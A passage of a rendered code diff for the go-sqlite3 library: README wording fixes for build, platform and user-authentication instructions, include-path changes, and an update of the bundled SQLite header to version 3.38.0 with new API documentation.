Options should be URL-encoded (see [url.QueryEscape](https://golang.org/pkg/net/url/#QueryEscape)).
|
||||
|
||||
This also applies when using an in-memory database instead of a file.
|
||||
|
||||
Options can be given using the following format: `KEYWORD=VALUE` and multiple options can be combined with the `&` ampersand.
|
||||
|
||||
This library supports dsn options of SQLite itself and provides additional options.
|
||||
This library supports DSN options of SQLite itself and provides additional options.
|
||||
|
||||
Boolean values can be one of:
|
||||
* `0` `no` `false` `off`
|
||||
@@ -138,19 +138,18 @@ file:test.db?cache=shared&mode=memory
|
||||
|
||||
This package allows additional configuration of features available within SQLite3 to be enabled or disabled by golang build constraints also known as build `tags`.
|
||||
|
||||
[Click here for more information about build tags / constraints.](https://golang.org/pkg/go/build/#hdr-Build_Constraints)
|
||||
Click [here](https://golang.org/pkg/go/build/#hdr-Build_Constraints) for more information about build tags / constraints.
|
||||
|
||||
### Usage
|
||||
|
||||
If you wish to build this library with additional extensions / features.
|
||||
Use the following command.
|
||||
If you wish to build this library with additional extensions / features, use the following command:
|
||||
|
||||
```bash
|
||||
go build --tags "<FEATURE>"
|
||||
```
|
||||
|
||||
For available features see the extension list.
|
||||
When using multiple build tags, all the different tags should be space delimted.
|
||||
For available features, see the extension list.
|
||||
When using multiple build tags, all the different tags should be space delimited.
|
||||
|
||||
Example:
|
||||
|
||||
@@ -181,9 +180,9 @@ go build --tags "icu json1 fts5 secure_delete"
|
||||
|
||||
# Compilation
|
||||
|
||||
This package requires `CGO_ENABLED=1` ennvironment variable if not set by default, and the presence of the `gcc` compiler.
|
||||
This package requires the `CGO_ENABLED=1` ennvironment variable if not set by default, and the presence of the `gcc` compiler.
|
||||
|
||||
If you need to add additional CFLAGS or LDFLAGS to the build command, and do not want to modify this package. Then this can be achieved by using the `CGO_CFLAGS` and `CGO_LDFLAGS` environment variables.
|
||||
If you need to add additional CFLAGS or LDFLAGS to the build command, and do not want to modify this package, then this can be achieved by using the `CGO_CFLAGS` and `CGO_LDFLAGS` environment variables.
|
||||
|
||||
## Android
|
||||
|
||||
@@ -198,7 +197,7 @@ For more information see [#201](https://github.com/mattn/go-sqlite3/issues/201)
|
||||
|
||||
# ARM
|
||||
|
||||
To compile for `ARM` use the following environment.
|
||||
To compile for `ARM` use the following environment:
|
||||
|
||||
```bash
|
||||
env CC=arm-linux-gnueabihf-gcc CXX=arm-linux-gnueabihf-g++ \
|
||||
@@ -234,7 +233,7 @@ Please work only with compiled final binaries.
|
||||
|
||||
## Linux
|
||||
|
||||
To compile this package on Linux you must install the development tools for your linux distribution.
|
||||
To compile this package on Linux, you must install the development tools for your linux distribution.
|
||||
|
||||
To compile under linux use the build tag `linux`.
|
||||
|
||||
@@ -250,7 +249,7 @@ go build --tags "libsqlite3 linux"
|
||||
|
||||
### Alpine
|
||||
|
||||
When building in an `alpine` container run the following command before building.
|
||||
When building in an `alpine` container run the following command before building:
|
||||
|
||||
```
|
||||
apk add --update gcc musl-dev
|
||||
@@ -270,29 +269,29 @@ sudo apt-get install build-essential
|
||||
|
||||
## Mac OSX
|
||||
|
||||
OSX should have all the tools present to compile this package, if not install XCode this will add all the developers tools.
|
||||
OSX should have all the tools present to compile this package. If not, install XCode to add all the developers tools.
|
||||
|
||||
Required dependency
|
||||
Required dependency:
|
||||
|
||||
```bash
|
||||
brew install sqlite3
|
||||
```
|
||||
|
||||
For OSX there is an additional package install which is required if you wish to build the `icu` extension.
|
||||
For OSX, there is an additional package to install which is required if you wish to build the `icu` extension.
|
||||
|
||||
This additional package can be installed with `homebrew`.
|
||||
This additional package can be installed with `homebrew`:
|
||||
|
||||
```bash
|
||||
brew upgrade icu4c
|
||||
```
|
||||
|
||||
To compile for Mac OSX.
|
||||
To compile for Mac OSX:
|
||||
|
||||
```bash
|
||||
go build --tags "darwin"
|
||||
```
|
||||
|
||||
If you wish to link directly to libsqlite3 then you can use the `libsqlite3` build tag.
|
||||
If you wish to link directly to libsqlite3, use the `libsqlite3` build tag:
|
||||
|
||||
```
|
||||
go build --tags "libsqlite3 darwin"
|
||||
@@ -304,14 +303,14 @@ Additional information:
|
||||
|
||||
## Windows
|
||||
|
||||
To compile this package on Windows OS you must have the `gcc` compiler installed.
|
||||
To compile this package on Windows, you must have the `gcc` compiler installed.
|
||||
|
||||
1) Install a Windows `gcc` toolchain.
|
||||
2) Add the `bin` folders to the Windows path if the installer did not do this by default.
|
||||
3) Open a terminal for the TDM-GCC toolchain, can be found in the Windows Start menu.
|
||||
2) Add the `bin` folder to the Windows path, if the installer did not do this by default.
|
||||
3) Open a terminal for the TDM-GCC toolchain, which can be found in the Windows Start menu.
|
||||
4) Navigate to your project folder and run the `go build ...` command for this package.
|
||||
|
||||
For example the TDM-GCC Toolchain can be found [here](https://sourceforge.net/projects/tdm-gcc/).
|
||||
For example the TDM-GCC Toolchain can be found [here](https://jmeubank.github.io/tdm-gcc/).
|
||||
|
||||
## Errors
|
||||
|
||||
@@ -349,28 +348,28 @@ This package supports the SQLite User Authentication module.
|
||||
|
||||
## Compile
|
||||
|
||||
To use the User authentication module the package has to be compiled with the tag `sqlite_userauth`. See [Features](#features).
|
||||
To use the User authentication module, the package has to be compiled with the tag `sqlite_userauth`. See [Features](#features).
|
||||
|
||||
## Usage
|
||||
|
||||
### Create protected database
|
||||
|
||||
To create a database protected by user authentication provide the following argument to the connection string `_auth`.
|
||||
To create a database protected by user authentication, provide the following argument to the connection string `_auth`.
|
||||
This will enable user authentication within the database. This option however requires two additional arguments:
|
||||
|
||||
- `_auth_user`
|
||||
- `_auth_pass`
|
||||
|
||||
When `_auth` is present on the connection string user authentication will be enabled and the provided user will be created
|
||||
When `_auth` is present in the connection string user authentication will be enabled and the provided user will be created
|
||||
as an `admin` user. After initial creation, the parameter `_auth` has no effect anymore and can be omitted from the connection string.
|
||||
|
||||
Example connection string:
|
||||
Example connection strings:
|
||||
|
||||
Create an user authentication database with user `admin` and password `admin`.
|
||||
Create an user authentication database with user `admin` and password `admin`:
|
||||
|
||||
`file:test.s3db?_auth&_auth_user=admin&_auth_pass=admin`
|
||||
|
||||
Create an user authentication database with user `admin` and password `admin` and use `SHA1` for the password encoding.
|
||||
Create an user authentication database with user `admin` and password `admin` and use `SHA1` for the password encoding:
|
||||
|
||||
`file:test.s3db?_auth&_auth_user=admin&_auth_pass=admin&_auth_crypt=sha1`
|
||||
|
||||
@@ -396,11 +395,11 @@ salt this can be configured with `_auth_salt`.
|
||||
|
||||
### Restrictions
|
||||
|
||||
Operations on the database regarding to user management can only be preformed by an administrator user.
|
||||
Operations on the database regarding user management can only be preformed by an administrator user.
|
||||
|
||||
### Support
|
||||
|
||||
The user authentication supports two kinds of users
|
||||
The user authentication supports two kinds of users:
|
||||
|
||||
- administrators
|
||||
- regular users
|
||||
@@ -411,7 +410,7 @@ User management can be done by directly using the `*SQLiteConn` or by SQL.
|
||||
|
||||
#### SQL
|
||||
|
||||
The following sql functions are available for user management.
|
||||
The following sql functions are available for user management:
|
||||
|
||||
| Function | Arguments | Description |
|
||||
|----------|-----------|-------------|
|
||||
@@ -420,7 +419,7 @@ The following sql functions are available for user management.
|
||||
| `auth_user_change` | username `string`, password `string`, admin `int` | Function to modify an user. Users can change their own password, but only an administrator can change the administrator flag. |
|
||||
| `authUserDelete` | username `string` | Delete an user from the database. Can only be used by an administrator. The current logged in administrator cannot be deleted. This is to make sure their is always an administrator remaining. |
|
||||
|
||||
These functions will return an integer.
|
||||
These functions will return an integer:
|
||||
|
||||
- 0 (SQLITE_OK)
|
||||
- 23 (SQLITE_AUTH) Failed to perform due to authentication or insufficient privileges
|
||||
@@ -441,7 +440,7 @@ SELECT user_delete('user');
|
||||
|
||||
#### *SQLiteConn
|
||||
|
||||
The following functions are available for User authentication from the `*SQLiteConn`.
|
||||
The following functions are available for User authentication from the `*SQLiteConn`:
|
||||
|
||||
| Function | Description |
|
||||
|----------|-------------|
|
||||
@@ -452,16 +451,16 @@ The following functions are available for User authentication from the `*SQLiteC
|
||||
|
||||
### Attached database
|
||||
|
||||
When using attached databases. SQLite will use the authentication from the `main` database for the attached database(s).
|
||||
When using attached databases, SQLite will use the authentication from the `main` database for the attached database(s).
|
||||
|
||||
# Extensions
|
||||
|
||||
If you want your own extension to be listed here or you want to add a reference to an extension; please submit an Issue for this.
|
||||
If you want your own extension to be listed here, or you want to add a reference to an extension; please submit an Issue for this.
|
||||
|
||||
## Spatialite
|
||||
|
||||
Spatialite is available as an extension to SQLite, and can be used in combination with this repository.
|
||||
For an example see [shaxbee/go-spatialite](https://github.com/shaxbee/go-spatialite).
|
||||
For an example, see [shaxbee/go-spatialite](https://github.com/shaxbee/go-spatialite).
|
||||
|
||||
## extension-functions.c from SQLite3 Contrib
|
||||
|
||||
@@ -471,7 +470,7 @@ extension-functions.c is available as an extension to SQLite, and provides the f
|
||||
- String: replicate, charindex, leftstr, rightstr, ltrim, rtrim, trim, replace, reverse, proper, padl, padr, padc, strfilter.
|
||||
- Aggregate: stdev, variance, mode, median, lower_quartile, upper_quartile
|
||||
|
||||
For an example see [dinedal/go-sqlite3-extension-functions](https://github.com/dinedal/go-sqlite3-extension-functions).
|
||||
For an example, see [dinedal/go-sqlite3-extension-functions](https://github.com/dinedal/go-sqlite3-extension-functions).
|
||||
|
||||
# FAQ
|
||||
|
||||
@@ -491,7 +490,7 @@ For an example see [dinedal/go-sqlite3-extension-functions](https://github.com/d
|
||||
|
||||
- Can I use this in multiple routines concurrently?
|
||||
|
||||
Yes for readonly. But, No for writable. See [#50](https://github.com/mattn/go-sqlite3/issues/50), [#51](https://github.com/mattn/go-sqlite3/issues/51), [#209](https://github.com/mattn/go-sqlite3/issues/209), [#274](https://github.com/mattn/go-sqlite3/issues/274).
|
||||
Yes for readonly. But not for writable. See [#50](https://github.com/mattn/go-sqlite3/issues/50), [#51](https://github.com/mattn/go-sqlite3/issues/51), [#209](https://github.com/mattn/go-sqlite3/issues/209), [#274](https://github.com/mattn/go-sqlite3/issues/274).
|
||||
|
||||
- Why I'm getting `no such table` error?
|
||||
|
||||
@@ -505,7 +504,7 @@ For an example see [dinedal/go-sqlite3-extension-functions](https://github.com/d
|
||||
|
||||
Note that if the last database connection in the pool closes, the in-memory database is deleted. Make sure the [max idle connection limit](https://golang.org/pkg/database/sql/#DB.SetMaxIdleConns) is > 0, and the [connection lifetime](https://golang.org/pkg/database/sql/#DB.SetConnMaxLifetime) is infinite.
|
||||
|
||||
For more information see
|
||||
For more information see:
|
||||
* [#204](https://github.com/mattn/go-sqlite3/issues/204)
|
||||
* [#511](https://github.com/mattn/go-sqlite3/issues/511)
|
||||
* https://www.sqlite.org/sharedcache.html#shared_cache_and_in_memory_databases
|
||||
@@ -515,20 +514,20 @@ For an example see [dinedal/go-sqlite3-extension-functions](https://github.com/d
|
||||
|
||||
OS X limits OS-wide to not have more than 1000 files open simultaneously by default.
|
||||
|
||||
For more information see [#289](https://github.com/mattn/go-sqlite3/issues/289)
|
||||
For more information, see [#289](https://github.com/mattn/go-sqlite3/issues/289)
|
||||
|
||||
- Trying to execute a `.` (dot) command throws an error.
|
||||
|
||||
Error: `Error: near ".": syntax error`
|
||||
Dot command are part of SQLite3 CLI not of this library.
|
||||
Dot command are part of SQLite3 CLI, not of this library.
|
||||
|
||||
You need to implement the feature or call the sqlite3 cli.
|
||||
|
||||
More information see [#305](https://github.com/mattn/go-sqlite3/issues/305)
|
||||
More information see [#305](https://github.com/mattn/go-sqlite3/issues/305).
|
||||
|
||||
- Error: `database is locked`
|
||||
|
||||
When you get a database is locked. Please use the following options.
|
||||
When you get a database is locked, please use the following options.
|
||||
|
||||
Add to DSN: `cache=shared`
|
||||
|
||||
@@ -537,24 +536,24 @@ For an example see [dinedal/go-sqlite3-extension-functions](https://github.com/d
|
||||
db, err := sql.Open("sqlite3", "file:locked.sqlite?cache=shared")
|
||||
```
|
||||
|
||||
Second please set the database connections of the SQL package to 1.
|
||||
Next, please set the database connections of the SQL package to 1:
|
||||
|
||||
```go
|
||||
db.SetMaxOpenConns(1)
|
||||
```
|
||||
|
||||
More information see [#209](https://github.com/mattn/go-sqlite3/issues/209)
|
||||
For more information, see [#209](https://github.com/mattn/go-sqlite3/issues/209).
|
||||
|
||||
## Contributors
|
||||
|
||||
### Code Contributors
|
||||
|
||||
This project exists thanks to all the people who contribute. [[Contribute](CONTRIBUTING.md)].
|
||||
This project exists thanks to all the people who [[contribute](CONTRIBUTING.md)].
|
||||
<a href="https://github.com/mattn/go-sqlite3/graphs/contributors"><img src="https://opencollective.com/mattn-go-sqlite3/contributors.svg?width=890&button=false" /></a>
|
||||
|
||||
### Financial Contributors
|
||||
|
||||
Become a financial contributor and help us sustain our community. [[Contribute](https://opencollective.com/mattn-go-sqlite3/contribute)]
|
||||
Become a financial contributor and help us sustain our community. [[Contribute here](https://opencollective.com/mattn-go-sqlite3/contribute)].
|
||||
|
||||
#### Individuals
|
||||
|
||||
|
||||
+1
-1
@@ -7,7 +7,7 @@ package sqlite3
|
||||
|
||||
/*
|
||||
#ifndef USE_LIBSQLITE3
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
#else
|
||||
#include <sqlite3.h>
|
||||
#endif
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ package sqlite3
|
||||
|
||||
/*
|
||||
#ifndef USE_LIBSQLITE3
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
#else
|
||||
#include <sqlite3.h>
|
||||
#endif
|
||||
|
||||
+1
-1
@@ -7,7 +7,7 @@ package sqlite3
|
||||
|
||||
/*
|
||||
#ifndef USE_LIBSQLITE3
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
#else
|
||||
#include <sqlite3.h>
|
||||
#endif
|
||||
|
||||
+11555
-7826
File diff suppressed because it is too large.
Load diff
+490
-41
@@ -44,7 +44,30 @@ extern "C" {
|
||||
|
||||
|
||||
/*
|
||||
** Provide the ability to override linkage features of the interface.
|
||||
** Facilitate override of interface linkage and calling conventions.
|
||||
** Be aware that these macros may not be used within this particular
|
||||
** translation of the amalgamation and its associated header file.
|
||||
**
|
||||
** The SQLITE_EXTERN and SQLITE_API macros are used to instruct the
|
||||
** compiler that the target identifier should have external linkage.
|
||||
**
|
||||
** The SQLITE_CDECL macro is used to set the calling convention for
|
||||
** public functions that accept a variable number of arguments.
|
||||
**
|
||||
** The SQLITE_APICALL macro is used to set the calling convention for
|
||||
** public functions that accept a fixed number of arguments.
|
||||
**
|
||||
** The SQLITE_STDCALL macro is no longer used and is now deprecated.
|
||||
**
|
||||
** The SQLITE_CALLBACK macro is used to set the calling convention for
|
||||
** function pointers.
|
||||
**
|
||||
** The SQLITE_SYSAPI macro is used to set the calling convention for
|
||||
** functions provided by the operating system.
|
||||
**
|
||||
** Currently, the SQLITE_CDECL, SQLITE_APICALL, SQLITE_CALLBACK, and
|
||||
** SQLITE_SYSAPI macros are used only when building for environments
|
||||
** that require non-default calling conventions.
|
||||
*/
|
||||
#ifndef SQLITE_EXTERN
|
||||
# define SQLITE_EXTERN extern
|
||||
@@ -124,9 +147,9 @@ extern "C" {
|
||||
** [sqlite3_libversion_number()], [sqlite3_sourceid()],
|
||||
** [sqlite_version()] and [sqlite_source_id()].
|
||||
*/
|
||||
#define SQLITE_VERSION "3.36.0"
|
||||
#define SQLITE_VERSION_NUMBER 3036000
|
||||
#define SQLITE_SOURCE_ID "2021-06-18 18:36:39 5c9a6c06871cb9fe42814af9c039eb6da5427a6ec28f187af7ebfb62eafa66e5"
|
||||
#define SQLITE_VERSION "3.38.0"
|
||||
#define SQLITE_VERSION_NUMBER 3038000
|
||||
#define SQLITE_SOURCE_ID "2022-02-22 18:58:40 40fa792d359f84c3b9e9d6623743e1a59826274e221df1bde8f47086968a1bab"
|
||||
|
||||
/*
|
||||
** CAPI3REF: Run-Time Library Version Numbers
|
||||
@@ -538,12 +561,13 @@ SQLITE_API int sqlite3_exec(
|
||||
#define SQLITE_CONSTRAINT_VTAB (SQLITE_CONSTRAINT | (9<<8))
|
||||
#define SQLITE_CONSTRAINT_ROWID (SQLITE_CONSTRAINT |(10<<8))
|
||||
#define SQLITE_CONSTRAINT_PINNED (SQLITE_CONSTRAINT |(11<<8))
|
||||
#define SQLITE_CONSTRAINT_DATATYPE (SQLITE_CONSTRAINT |(12<<8))
|
||||
#define SQLITE_NOTICE_RECOVER_WAL (SQLITE_NOTICE | (1<<8))
|
||||
#define SQLITE_NOTICE_RECOVER_ROLLBACK (SQLITE_NOTICE | (2<<8))
|
||||
#define SQLITE_WARNING_AUTOINDEX (SQLITE_WARNING | (1<<8))
|
||||
#define SQLITE_AUTH_USER (SQLITE_AUTH | (1<<8))
|
||||
#define SQLITE_OK_LOAD_PERMANENTLY (SQLITE_OK | (1<<8))
|
||||
#define SQLITE_OK_SYMLINK (SQLITE_OK | (2<<8))
|
||||
#define SQLITE_OK_SYMLINK (SQLITE_OK | (2<<8)) /* internal use only */
|
||||
|
||||
/*
|
||||
** CAPI3REF: Flags For File Open Operations
|
||||
@@ -551,6 +575,19 @@ SQLITE_API int sqlite3_exec(
|
||||
** These bit values are intended for use in the
|
||||
** 3rd parameter to the [sqlite3_open_v2()] interface and
|
||||
** in the 4th parameter to the [sqlite3_vfs.xOpen] method.
|
||||
**
|
||||
** Only those flags marked as "Ok for sqlite3_open_v2()" may be
|
||||
** used as the third argument to the [sqlite3_open_v2()] interface.
|
||||
** The other flags have historically been ignored by sqlite3_open_v2(),
|
||||
** though future versions of SQLite might change so that an error is
|
||||
** raised if any of the disallowed bits are passed into sqlite3_open_v2().
|
||||
** Applications should not depend on the historical behavior.
|
||||
**
|
||||
** Note in particular that passing the SQLITE_OPEN_EXCLUSIVE flag into
|
||||
** [sqlite3_open_v2()] does *not* cause the underlying database file
|
||||
** to be opened using O_EXCL. Passing SQLITE_OPEN_EXCLUSIVE into
|
||||
** [sqlite3_open_v2()] has historically be a no-op and might become an
|
||||
** error in future versions of SQLite.
|
||||
*/
|
||||
#define SQLITE_OPEN_READONLY 0x00000001 /* Ok for sqlite3_open_v2() */
|
||||
#define SQLITE_OPEN_READWRITE 0x00000002 /* Ok for sqlite3_open_v2() */
|
||||
@@ -573,6 +610,7 @@ SQLITE_API int sqlite3_exec(
|
||||
#define SQLITE_OPEN_PRIVATECACHE 0x00040000 /* Ok for sqlite3_open_v2() */
|
||||
#define SQLITE_OPEN_WAL 0x00080000 /* VFS only */
|
||||
#define SQLITE_OPEN_NOFOLLOW 0x01000000 /* Ok for sqlite3_open_v2() */
|
||||
#define SQLITE_OPEN_EXRESCODE 0x02000000 /* Extended result codes */
|
||||
|
||||
/* Reserved: 0x00F00000 */
|
||||
/* Legacy compatibility: */
|
||||
@@ -2465,11 +2503,14 @@ SQLITE_API void sqlite3_set_last_insert_rowid(sqlite3*,sqlite3_int64);
|
||||
** CAPI3REF: Count The Number Of Rows Modified
|
||||
** METHOD: sqlite3
|
||||
**
|
||||
** ^This function returns the number of rows modified, inserted or
|
||||
** ^These functions return the number of rows modified, inserted or
|
||||
** deleted by the most recently completed INSERT, UPDATE or DELETE
|
||||
** statement on the database connection specified by the only parameter.
|
||||
** ^Executing any other type of SQL statement does not modify the value
|
||||
** returned by this function.
|
||||
** The two functions are identical except for the type of the return value
|
||||
** and that if the number of rows modified by the most recent INSERT, UPDATE
|
||||
** or DELETE is greater than the maximum value supported by type "int", then
|
||||
** the return value of sqlite3_changes() is undefined. ^Executing any other
|
||||
** type of SQL statement does not modify the value returned by these functions.
|
||||
**
|
||||
** ^Only changes made directly by the INSERT, UPDATE or DELETE statement are
|
||||
** considered - auxiliary changes caused by [CREATE TRIGGER | triggers],
|
||||
@@ -2518,16 +2559,21 @@ SQLITE_API void sqlite3_set_last_insert_rowid(sqlite3*,sqlite3_int64);
|
||||
** </ul>
|
||||
*/
|
||||
SQLITE_API int sqlite3_changes(sqlite3*);
|
||||
SQLITE_API sqlite3_int64 sqlite3_changes64(sqlite3*);
|
||||
|
||||
/*
|
||||
** CAPI3REF: Total Number Of Rows Modified
|
||||
** METHOD: sqlite3
|
||||
**
|
||||
** ^This function returns the total number of rows inserted, modified or
|
||||
** ^These functions return the total number of rows inserted, modified or
|
||||
** deleted by all [INSERT], [UPDATE] or [DELETE] statements completed
|
||||
** since the database connection was opened, including those executed as
|
||||
** part of trigger programs. ^Executing any other type of SQL statement
|
||||
** does not affect the value returned by sqlite3_total_changes().
|
||||
** part of trigger programs. The two functions are identical except for the
|
||||
** type of the return value and that if the number of rows modified by the
|
||||
** connection exceeds the maximum value supported by type "int", then
|
||||
** the return value of sqlite3_total_changes() is undefined. ^Executing
|
||||
** any other type of SQL statement does not affect the value returned by
|
||||
** sqlite3_total_changes().
|
||||
**
|
||||
** ^Changes made as part of [foreign key actions] are included in the
|
||||
** count, but those made as part of REPLACE constraint resolution are
|
||||
@@ -2555,6 +2601,7 @@ SQLITE_API int sqlite3_changes(sqlite3*);
|
||||
** </ul>
|
||||
*/
|
||||
SQLITE_API int sqlite3_total_changes(sqlite3*);
|
||||
SQLITE_API sqlite3_int64 sqlite3_total_changes64(sqlite3*);
|
||||
|
||||
/*
|
||||
** CAPI3REF: Interrupt A Long-Running Query
|
||||
@@ -3384,6 +3431,14 @@ SQLITE_API void sqlite3_progress_handler(sqlite3*, int, int(*)(void*), void*);
|
||||
** the default shared cache setting provided by
|
||||
** [sqlite3_enable_shared_cache()].)^
|
||||
**
|
||||
** [[OPEN_EXRESCODE]] ^(<dt>[SQLITE_OPEN_EXRESCODE]</dt>
|
||||
** <dd>The database connection comes up in "extended result code mode".
|
||||
** In other words, the database behaves has if
|
||||
** [sqlite3_extended_result_codes(db,1)] where called on the database
|
||||
** connection as soon as the connection is created. In addition to setting
|
||||
** the extended result code mode, this flag also causes [sqlite3_open_v2()]
|
||||
** to return an extended result code.</dd>
|
||||
**
|
||||
** [[OPEN_NOFOLLOW]] ^(<dt>[SQLITE_OPEN_NOFOLLOW]</dt>
|
||||
** <dd>The database filename is not allowed to be a symbolic link</dd>
|
||||
** </dl>)^
|
||||
@@ -3391,7 +3446,15 @@ SQLITE_API void sqlite3_progress_handler(sqlite3*, int, int(*)(void*), void*);
|
||||
** If the 3rd parameter to sqlite3_open_v2() is not one of the
|
||||
** required combinations shown above optionally combined with other
|
||||
** [SQLITE_OPEN_READONLY | SQLITE_OPEN_* bits]
|
||||
** then the behavior is undefined.
|
||||
** then the behavior is undefined. Historic versions of SQLite
|
||||
** have silently ignored surplus bits in the flags parameter to
|
||||
** sqlite3_open_v2(), however that behavior might not be carried through
|
||||
** into future versions of SQLite and so applications should not rely
|
||||
** upon it. Note in particular that the SQLITE_OPEN_EXCLUSIVE flag is a no-op
|
||||
** for sqlite3_open_v2(). The SQLITE_OPEN_EXCLUSIVE does *not* cause
|
||||
** the open to fail if the database already exists. The SQLITE_OPEN_EXCLUSIVE
|
||||
** flag is intended for use by the [sqlite3_vfs|VFS interface] only, and not
|
||||
** by sqlite3_open_v2().
|
||||
**
|
||||
** ^The fourth parameter to sqlite3_open_v2() is the name of the
|
||||
** [sqlite3_vfs] object that defines the operating system interface that
|
||||
@@ -3762,13 +3825,14 @@ SQLITE_API void sqlite3_free_filename(char*);
|
||||
** sqlite3_extended_errcode() might change with each API call.
|
||||
** Except, there are some interfaces that are guaranteed to never
|
||||
** change the value of the error code. The error-code preserving
|
||||
** interfaces are:
|
||||
** interfaces include the following:
|
||||
**
|
||||
** <ul>
|
||||
** <li> sqlite3_errcode()
|
||||
** <li> sqlite3_extended_errcode()
|
||||
** <li> sqlite3_errmsg()
|
||||
** <li> sqlite3_errmsg16()
|
||||
** <li> sqlite3_error_offset()
|
||||
** </ul>
|
||||
**
|
||||
** ^The sqlite3_errmsg() and sqlite3_errmsg16() return English-language
|
||||
@@ -3783,6 +3847,13 @@ SQLITE_API void sqlite3_free_filename(char*);
|
||||
** ^(Memory to hold the error message string is managed internally
|
||||
** and must not be freed by the application)^.
|
||||
**
|
||||
** ^If the most recent error references a specific token in the input
|
||||
** SQL, the sqlite3_error_offset() interface returns the byte offset
|
||||
** of the start of that token. ^The byte offset returned by
|
||||
** sqlite3_error_offset() assumes that the input SQL is UTF8.
|
||||
** ^If the most recent error does not reference a specific token in the input
|
||||
** SQL, then the sqlite3_error_offset() function returns -1.
|
||||
**
|
||||
** When the serialized [threading mode] is in use, it might be the
|
||||
** case that a second error occurs on a separate thread in between
|
||||
** the time of the first error and the call to these interfaces.
|
||||
@@ -3802,6 +3873,7 @@ SQLITE_API int sqlite3_extended_errcode(sqlite3 *db);
|
||||
SQLITE_API const char *sqlite3_errmsg(sqlite3*);
|
||||
SQLITE_API const void *sqlite3_errmsg16(sqlite3*);
|
||||
SQLITE_API const char *sqlite3_errstr(int);
|
||||
SQLITE_API int sqlite3_error_offset(sqlite3 *db);
|
||||
|
||||
/*
|
||||
** CAPI3REF: Prepared Statement Object
|
||||
@@ -4159,12 +4231,17 @@ SQLITE_API int sqlite3_prepare16_v3(
|
||||
** are managed by SQLite and are automatically freed when the prepared
|
||||
** statement is finalized.
|
||||
** ^The string returned by sqlite3_expanded_sql(P), on the other hand,
|
||||
** is obtained from [sqlite3_malloc()] and must be free by the application
|
||||
** is obtained from [sqlite3_malloc()] and must be freed by the application
|
||||
** by passing it to [sqlite3_free()].
|
||||
**
|
||||
** ^The sqlite3_normalized_sql() interface is only available if
|
||||
** the [SQLITE_ENABLE_NORMALIZE] compile-time option is defined.
|
||||
*/
|
||||
SQLITE_API const char *sqlite3_sql(sqlite3_stmt *pStmt);
|
||||
SQLITE_API char *sqlite3_expanded_sql(sqlite3_stmt *pStmt);
|
||||
#ifdef SQLITE_ENABLE_NORMALIZE
|
||||
SQLITE_API const char *sqlite3_normalized_sql(sqlite3_stmt *pStmt);
|
||||
#endif
|
||||
|
||||
/*
|
||||
** CAPI3REF: Determine If An SQL Statement Writes The Database
|
||||
@@ -4208,6 +4285,10 @@ SQLITE_API const char *sqlite3_normalized_sql(sqlite3_stmt *pStmt);
|
||||
** be false. ^Similarly, a CREATE TABLE IF NOT EXISTS statement is a
|
||||
** read-only no-op if the table already exists, but
|
||||
** sqlite3_stmt_readonly() still returns false for such a statement.
|
||||
**
|
||||
** ^If prepared statement X is an [EXPLAIN] or [EXPLAIN QUERY PLAN]
|
||||
** statement, then sqlite3_stmt_readonly(X) returns the same value as
|
||||
** if the EXPLAIN or EXPLAIN QUERY PLAN prefix were omitted.
|
||||
*/
|
||||
SQLITE_API int sqlite3_stmt_readonly(sqlite3_stmt *pStmt);
|
||||
|
||||
@@ -4276,6 +4357,8 @@ SQLITE_API int sqlite3_stmt_busy(sqlite3_stmt*);
|
||||
**
|
||||
** ^The sqlite3_value objects that are passed as parameters into the
|
||||
** implementation of [application-defined SQL functions] are protected.
|
||||
** ^The sqlite3_value objects returned by [sqlite3_vtab_rhs_value()]
|
||||
** are protected.
|
||||
** ^The sqlite3_value object returned by
|
||||
** [sqlite3_column_value()] is unprotected.
|
||||
** Unprotected sqlite3_value objects may only be used as arguments
|
||||
@@ -6348,6 +6431,72 @@ SQLITE_API sqlite3_stmt *sqlite3_next_stmt(sqlite3 *pDb, sqlite3_stmt *pStmt);
|
||||
SQLITE_API void *sqlite3_commit_hook(sqlite3*, int(*)(void*), void*);
|
||||
SQLITE_API void *sqlite3_rollback_hook(sqlite3*, void(*)(void *), void*);
|
||||
|
||||
/*
|
||||
** CAPI3REF: Autovacuum Compaction Amount Callback
|
||||
** METHOD: sqlite3
|
||||
**
|
||||
** ^The sqlite3_autovacuum_pages(D,C,P,X) interface registers a callback
|
||||
** function C that is invoked prior to each autovacuum of the database
|
||||
** file. ^The callback is passed a copy of the generic data pointer (P),
|
||||
** the schema-name of the attached database that is being autovacuumed,
|
||||
** the the size of the database file in pages, the number of free pages,
|
||||
** and the number of bytes per page, respectively. The callback should
|
||||
** return the number of free pages that should be removed by the
|
||||
** autovacuum. ^If the callback returns zero, then no autovacuum happens.
|
||||
** ^If the value returned is greater than or equal to the number of
|
||||
** free pages, then a complete autovacuum happens.
|
||||
**
|
||||
** <p>^If there are multiple ATTACH-ed database files that are being
|
||||
** modified as part of a transaction commit, then the autovacuum pages
|
||||
** callback is invoked separately for each file.
|
||||
**
|
||||
** <p><b>The callback is not reentrant.</b> The callback function should
|
||||
** not attempt to invoke any other SQLite interface. If it does, bad
|
||||
** things may happen, including segmentation faults and corrupt database
|
||||
** files. The callback function should be a simple function that
|
||||
** does some arithmetic on its input parameters and returns a result.
|
||||
**
|
||||
** ^The X parameter to sqlite3_autovacuum_pages(D,C,P,X) is an optional
|
||||
** destructor for the P parameter. ^If X is not NULL, then X(P) is
|
||||
** invoked whenever the database connection closes or when the callback
|
||||
** is overwritten by another invocation of sqlite3_autovacuum_pages().
|
||||
**
|
||||
** <p>^There is only one autovacuum pages callback per database connection.
|
||||
** ^Each call to the sqlite3_autovacuum_pages() interface overrides all
|
||||
** previous invocations for that database connection. ^If the callback
|
||||
** argument (C) to sqlite3_autovacuum_pages(D,C,P,X) is a NULL pointer,
|
||||
** then the autovacuum steps callback is cancelled. The return value
|
||||
** from sqlite3_autovacuum_pages() is normally SQLITE_OK, but might
|
||||
** be some other error code if something goes wrong. The current
|
||||
** implementation will only return SQLITE_OK or SQLITE_MISUSE, but other
|
||||
** return codes might be added in future releases.
|
||||
**
|
||||
** <p>If no autovacuum pages callback is specified (the usual case) or
|
||||
** a NULL pointer is provided for the callback,
|
||||
** then the default behavior is to vacuum all free pages. So, in other
|
||||
** words, the default behavior is the same as if the callback function
|
||||
** were something like this:
|
||||
**
|
||||
** <blockquote><pre>
|
||||
** unsigned int demonstration_autovac_pages_callback(
|
||||
